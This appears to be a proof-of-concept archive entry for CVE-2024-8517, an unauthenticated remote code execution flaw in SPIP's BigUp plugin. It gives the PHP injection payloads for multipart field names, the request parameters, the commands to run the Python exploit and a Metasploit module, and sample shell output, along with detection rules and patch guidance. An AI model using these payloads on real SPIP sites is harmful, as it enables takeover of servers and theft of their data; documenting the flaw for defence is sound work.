SPIP BigUp Plugin Unauthenticated Remote Code Execution (CVE-2024-8517)
Published: 2026-11-27 • Researcher: Valentin Lobstein (Chocapikk), repository and Metasploit module author; vulnerability discovered by Vozec and Laluka of ThinkLoveShare
Exploitation signals
EPSS 91.1% · 100th percentile
- Severity
- Critical
- CVE
- CVE-2024-8517
- Category
- web
- Affected product
- SPIP content management system with the BigUp plugin
- Affected versions
- SPIP before 4.3.2, 4.2.16 and 4.1.18 (NVD ranges 4.0.0 to before 4.1.18, 4.2.0 through 4.2.15); BigUp plugin before 3.1.6
- Disclosed
- 2026-11-27
- Patch status
- Unverified
Tags
References
- https://nvd.nist.gov/vuln/detail/CVE-2024-8517
- https://github.com/Chocapikk/CVE-2024-8517
- https://thinkloveshare.com/hacking/spip_preauth_rce_2024_part_2_a_big_upload/
- https://vozec.fr/researchs/spip-preauth-rce-2024-big-upload/
- https://blog.spip.net/Mise-a-jour-critique-de-securite-sortie-de-SPIP-4-3-2-SPIP-4-2-16-SPIP-4-1-18.html
- https://vulncheck.com/advisories/spip-upload-rce
Archive entry
intelseclab/poc-archiveOn this page
Metadata
| Field | Value |
|---|---|
| Date Added | 2026-11-27 |
| Last Updated | 2024-09-07 |
| Author / Researcher | Valentin Lobstein (Chocapikk), repository and Metasploit module author; vulnerability discovered by Vozec and Laluka of ThinkLoveShare |
| CVE / Advisory | CVE-2024-8517 |
| Category | web |
| Severity | Critical |
| CVSS Score | 9.8 (CVSSv3.1, NVD); EPSS 0.911 |
| Status | Weaponized |
| Tags | SPIP, BigUp, unauthenticated, multipart, code-injection, command-injection, RCE, PHP, CWE-73, CWE-78, Metasploit |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | SPIP content management system with the BigUp plugin |
| Versions Affected | SPIP before 4.3.2, 4.2.16 and 4.1.18 (NVD ranges 4.0.0 to before 4.1.18, 4.2.0 through 4.2.15); BigUp plugin before 3.1.6 |
| Language / Platform | PHP application on Linux or Windows web servers; Python 3 attacker script, or Ruby Metasploit module |
| Authentication Required | No |
| Network Access Required | Yes (HTTP/HTTPS to the SPIP public interface) |
Summary
SPIP’s BigUp plugin builds PHP source from the names of uploaded multipart form fields when the search-files parameter is present, without escaping attacker-controlled array keys. A remote unauthenticated attacker can therefore inject PHP statements into the generated code and execute them by sending a single crafted file upload to a page that renders a form. The repository ships a Python exploit that obtains a valid form token, runs commands and drops into an interactive shell, plus a matching Metasploit module and captured HTTP requests.
Vulnerability Details
Root Cause
The BigUp plugin’s lister_fichiers_par_champs routine is meant to record the files attached to a form. It walks the uploaded structure and concatenates field names into a PHP array literal that is written to a generated file and later included by the plugin. Because the multipart field name is interpolated into that source without quoting or validation, a name such as a[’.PAYLOAD.’] closes the string literal and array index and inserts arbitrary PHP that executes when the generated file is included. Setting bigup_retrouver_fichiers to 1 is enough to route the request into this path, so no plugin feature, login or capability check is needed. The flaw is therefore both a filename/path control issue and injected code evaluation, which is why NVD maps it to CWE-73 and CWE-78.
Attack Vector
An unauthenticated multipart POST to a SPIP page that emits a form, normally /spip.php with page=login, page=contact or page=spip_pass, or an article page. The request carries formulaire_action and formulaire_action_args copied from the rendered form (the token is public), bigup_retrouver_fichiers=1, and a file part whose name attribute holds the PHP injection, for example a[’. header(“X-Command-Output: " . base64_encode(shell_exec(base64_decode(“id”)))) . die() . ‘] with a dummy filename. The injected code runs during the include and writes command output back into a response header.
Impact
Arbitrary PHP and OS command execution as the web server account (www-data in the documented lab), without authentication. An attacker can read SPIP configuration and database credentials, modify or exfiltrate content, upload further payloads, and use the host as a foothold. Integrity and confidentiality of the site, its database and the underlying server are fully compromised.
Environment / Lab Setup
OS: Linux (Ubuntu 22.04 or similar) with PHP and Python 3
Target: SPIP 4.3.1 with the BigUp plugin installed, served by php -S 0.0.0.0:8000
Attacker: Linux or macOS with Python 3
Tools: Python 3, pip, requests stack from requirements.txt, optionally MetasploitSetup Steps
| |
BigUp must be active with a version below 3.1.6 for the upload path to be reachable; the packaged release of the plugin from the SPIP plugin repository is sufficient for a lab.
Proof of Concept
Step-by-Step Reproduction
Start the lab — Serve SPIP 4.3.1 with PHP’s built-in server and complete the installation at /ecrire so that public pages render.
Validate a single target — The script fetches formulaire_action and formulaire_action_args from a page that contains a form, injects a whoami command, and reports the result.
Shell script1python exploit.py -u http://localhost:8000Use the interactive shell — When the target answers, the script opens a command loop.
Shell script1 2$ id uid=33(www-data) gid=33(www-data) groups=33(www-data)Replay manually if preferred — poc.txt contains two captured multipart requests, including the pre-auth /spip.php variant with the field name a[’. system(“id”) . ‘][] and the parameter bigup_retrouver_fichiers set to 1.
Metasploit alternative — Copy spip_bigup_unauth_rce.rb into the Metasploit modules tree as exploit/multi/http/spip_bigup_unauth_rce, set RHOSTS and TARGETURI, then run it.
Exploit Code
See
exploit.pyfor the Python client andspip_bigup_unauth_rce.rbfor the Metasploit module.
| |
Expected Output
✅ Target is vulnerable! Command Output: www-data
ℹ️ Interactive shell started. Type `exit` to quit.
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)The Metasploit module prints the detected SPIP version, the plugin version when available, and then opens a PHP or command shell session, for example a meterpreter session on the target.
Detection & Indicators of Compromise
POST /spip.php HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------
Content-Disposition: form-data; name="a['. system(\"id\") . '][]"; filename="a"
bigup_retrouver_fichiers=1
X-Command-Output: d3d3LWRhdGE=SIEM / IDS Rule (example):
alert http any any -> any any (msg:"CVE-2024-8517 SPIP BigUp unauthenticated RCE attempt"; flow:to_server,established; content:"bigup_retrouver_fichiers"; http_client_body; pcre:"/name\s*=\s*\"[^\"]*\[\s*'\s*\./i"; reference:cve,2024-8517; sid:9000851;)Remediation
| Action | Detail |
|---|---|
| Patch | Upgrade SPIP to 4.3.2, 4.2.16 or 4.1.18 or later, and update the BigUp plugin to 3.1.6 or later, where field names are escaped before code generation. |
| Workaround | Deactivate or remove the BigUp plugin if it is not required, and block requests containing bigup_retrouver_fichiers at the reverse proxy or WAF. |
| Config Hardening | Run PHP with the web user unable to write executable code outside its cache, apply a WAF rule for PHP syntax in multipart field names, review SPIP and plugin versions regularly, and rotate database and administrator credentials after any suspected exploitation. |
References
Notes
Auto-prepared on 2026-11-27 from https://github.com/Chocapikk/CVE-2024-8517 (stars 16, latest commit dated 2024-09-07).
Review verdict: ingested. This is genuine exploit code, not a scanner: exploit.py resolves a real form token, injects PHP into a multipart field name, executes commands through shell_exec and prints the returned output, and the repository also provides a full Metasploit module plus captured raw requests. The mass-scanning mode (-f with threads) is a convenience wrapper around the same exploit request, and no C2, persistence, credential-theft or bot code is present.
License: the repository has no LICENSE file. The Metasploit module declares MSF_LICENSE and names the discoverers and module author; the upstream README carries an educational-use disclaimer. Attribution and the source URL are retained here and the copied Python file carries an archive header.
Limitations: the exploit needs a page that emits a form with formulaire_action and formulaire_action_args, so a hardened or form-less site can defeat the token retrieval, and FORM_PAGE in the Metasploit module exists for that case. The target must run a vulnerable SPIP release with BigUp below 3.1.6. exploit.py sets verify=False and uses randomly rotated user agents; the Metasploit module requires an installed framework. The repository contains no binaries or archives, so no files were dropped for size or type reasons, and the exploit was not executed during preparation of this entry.
| |